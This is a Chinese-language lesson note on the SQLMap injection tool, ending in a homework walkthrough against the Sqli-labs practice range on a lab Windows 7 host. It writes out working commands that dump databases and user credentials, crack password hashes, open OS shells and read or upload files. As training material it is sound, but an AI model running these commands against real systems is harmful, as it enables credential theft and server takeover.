二、SQLMap 渗透测试工具
数据库注入一般情况下采用两种方式 :SQLMap 工具注入 和 手工注入 ,SQLMap 核心 :获取数据库里的数据
实验环境 :Kali SQLMap 为攻击方,Windows 7 为被攻击方
一、SQLMap 打开方式
① 点点点 :采用这种方法打开的 SQLMap 终端是没有后接其它命令的,系统实际上默认执行的是 sqlmap -h 帮助命令,系统会列出相关使用方法

② 命令行直接敲 sqlmap 命令 :sqlmap 实际上是一个 python 脚本,已写入环境变量

二、SQLMap 基本操作
网页传参方式多为 GET 和 POST 两种
1. GET 探测是否可被注入
sqlmap -u [url?id=x] # get方式探测当前页面是否可被注入,所有id参数值全部写上 sqlmap -u [url?id=x] # 多个id值则需要使用引号引起来 # 实际执行命令时去掉[]大括号
一些系统回显提示 :
① 系统已猜测到数据库为 Mysql ,询问是否需要跳过其它数据库类型验证 :

② 确认探测级别 :
- 数字越小,使用的脚本越少,探测数据越少,探测速度越快 ;反之则反
- 默认为 1 级,基本上所有参数都会扫一遍 ;2 级会查 cookie ,3 级会查 session ,以此类推

③ 测试中 :testing 值表示正在使用脚本测试,测试完毕后会回显测试报表

第一次探测时耗时可能有点长,系统会将探测的数据缓存,后续再次探测时速度会有所提升
关注回显中的粗体字( INFO字段 ) ,这些内容基本上已被系统确定可被注入

④ 探测完毕 :查看报表,下图中显示了 4 种可被注入的方式(漏洞)

2. GET 获取数据库字段(获取所有)
获取当前数据库所有库表列,适用于小站点(大站点内容太多)
sqlmap -u [url?id=x] --dump # 若没有接其它参数直接dump,表示一行一行拿所有数据
一些系统回显:
① 抓到了第一张表,数据库名字 :test ,表 :person ,字段 :两行

② 继续往后抓,在 users 表这里碰到了 password 密码字段 :password 数据为加密数据
-
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
是否需要解密 ?
MySQL 自带解密工具,若确认解密则使用解密工具开始解密,反之则原样抓取
-
do you want to crack them via a dictionary-based attack? [Y/n/q] ( 是否需要使用字典爆破 ?)y
若确认爆破,则系统会要求选择字典,2 - 3 为选择自己的字典,1 为 SQLMap 自带的一本常用字典


③ 若顺利爆破,后续无其它需要手动确认的选项,则自动往后抓取并回显内容,直至抓取结束
获取当前数据库所在的数据库服务器上所有的数据库里的库表列,适用于小站旁站
sqlmap -u [url?id=x] --dump-all # 操作和dump类似

3. GET 获取数据库字段(精确获取)
按照 库 - 表 - 列 的顺序依次精确获取
获取数据库名
① 获取当前站点使用的数据库名
sqlmap -u [url?id=x] --current-db

② 获取当前站点所在数据库服务器上所有数据库名
sqlmap -u [url?id=x] --dbs

针对库获取对应的表
sqlmap -u [url?id=x] -D test --tables # 获取test库里的表

针对表获取里面的列
sqlmap -u [url?id=x] -D test -T users --columns # 获取test库里users表里的列
按照开发命名规范,password 和 username 等敏感字符里存放的都是其对应的数据

缩小列的范围,只获取所需列里面的数据 :
sqlmap -u [url?id=x] -D test -T users -C username,password --dump

库表可以后可接 dump 命令 ,例如 :
sqlmap -u [url?id=x] -D test --dump # 获取test库里的所有内容 sqlmap -u [url?id=x] -D test -T users --dump # 获取test库下users表里的所有内容
4. GET 多参数情况
多参数需要使用引号引起,同时,判断一个参数是否可被注入就看其是否调用数据库查询数据,调用数据库查询对应数据则可被注入,反之没有调用数据库查询数据则不可被注入
假设现在数据库内有两个参数值 :df 值和 id 值
sqlmap -u url?df=1&id=1 --dbs # 与前面的单参数情况操作类似
5. POST 参数情况
同一个页面使用 POST 和 GET 两种方式进行探测对于 SQLMap 来说是两个完全不同的页面
post 方式在 url 中不会显示参数值,在网站中一般使用表单以 post 形式将数据传送到服务器,对于 SQLMap 则使用 --data ”键值对“ 参数模型去体现参数形式,示例如下 :
sqlmap -u [url] --data id=1 # --data后接参数值并使用引号引起

POST 方式查 库-表-列 的命令与 GET 方式一致,唯一区别在于使用 --data 参数模型,这个不可删除
sqlmap -u [url] --data id=1 --dbs # 查库 sqlmap -u [url] --data id=1 -D 库 --tables # 查库下的表 sqlmap -u [url] --data id=1 -D 库 -T 表 --columns # 查表下的列 sqlmap -u [url] --data id=1 --dump # 查当前库所有内容
POST 多参数情况 :&
sqlmap -u [url] --data id=1&df=1
三、SQLMap 进阶:参数讲解
--current-user # 列出当前网站使用的数据库用户

--users # 列出数据库所有用户

--passwords # 查询数据库用户的密码(弱口令)

如果当前为 MYSQL 客户端,且对方数据库没有限制登陆来源,则此时拿到账户和密码之后可以远程登陆对方数据库
sqlmap -d mysql://用户名:密码@ip:3306/库名 # 远程登陆对端数据库
--is-dba # 检查当前用户是否为数据库管理员
--sql-shell # 执行自定义SQL语句,使用q退出

--os-shell # 执行任意操作系统命令(有权限限制)

在使用此命令时需要当前用户为数据库管理员且有文件写权限、需要知晓网站目录绝对路径、关闭魔术引号



--os-cmd # 与--os-shell类似,但一次只能执行一条命令

--file-read 目标文件的绝/对/路/径 # 读取文件(下载文件)

--file-write 要上传文件的绝/对/路/径 --file-dest 目标地址的绝/对/路/径 # 上传文件(写文件),权限可能只在当前家目录
四、课下 :Sqlilabs 靶场实战
任务要求 :利用今天所学 SQLMap 知识在 Sqlilabs 靶场中的第 1 和 11 关实践,并拿到数据库里的账户和密码等数据
关卡1 :GET 关卡11 :POST
1. 环境搭建:网络配置
要求 :
-
Kali 和 Win 7 在同一个网段内,如果 Kali 没有地址可使用 dhclient 命令获取地址
-
两台主机测试连通性,Kali 访问 Win7 Sqli 靶场站点(如果 Kali 无法 Ping 通 Win7 而反之可以,则怀疑 Win7 防火墙拦截了 Kali 地址,可选择自定义 Win7 的防火墙规则放行 Kali ,或者直接关闭其防火墙)




2. 关卡1:探测是否可被注入

SQLMap 使用 GET 方法探测此站点是否可被注入,探测结果如下图 ,发现漏洞,可被注入 :

3. 关卡1:获取数据库信息
获取数据库名
-
当前站点所在数据库服务器上所有的数据库 :
-
当前此站点使用的数据库 :

通过上方获取到的数据库 security 探测其下面的表,如图所示 :

获取 users 表里的列 :

获取 username 和 password 详细信息 ,拿到我们所需的数据 :

4. 关卡1:实验结果
通过对关卡1进行 GET 探测显示其存在漏洞,可被注入 。然后对其 库-表-列 进行深入探测,最终发现 users 表,拿到实验所需的账户和密码等数据,实验完成 。
5. 关卡11:探测是否可被注入

通过观察站点页面,要求输入账户密码,且在页面 URL 后添加参数时页面无任何变化,猜测此站点数据传输方式不是 GET
SQLMap 使用 POST 方法探测此站点是否可被注入 :
- 当使用 --data 参数模型传递页面上显示的 username 和 password 参数时,结果显示这两个参数不是动态的,且探测结果失败,显然参数不对,使用 Wireshark 对其进行抓包并追踪流,得到实际参数 :


- 使用上方得到的参数再次使用 POST 方法,探测结果如下图 ,发现漏洞,可被注入 :

6. 关卡11:获取数据库信息
获取数据库名
- 当前站点所在数据库服务器上所有的数据库 :

- 当前此站点使用的数据库 :

通过上方获取到的数据库 security 探测其下面的表,如图所示 :

获取 users 表里的列 :

获取 username 和 password 详细信息 ,拿到我们所需的数据 :

7. 关卡11:实验结果
通过对关卡11进行 POST 探测显示其存在漏洞,可被注入 。然后对其 库-表-列 进行深入探测,最终发现 users 表,拿到实验所需的账户和密码等数据,实验完成 。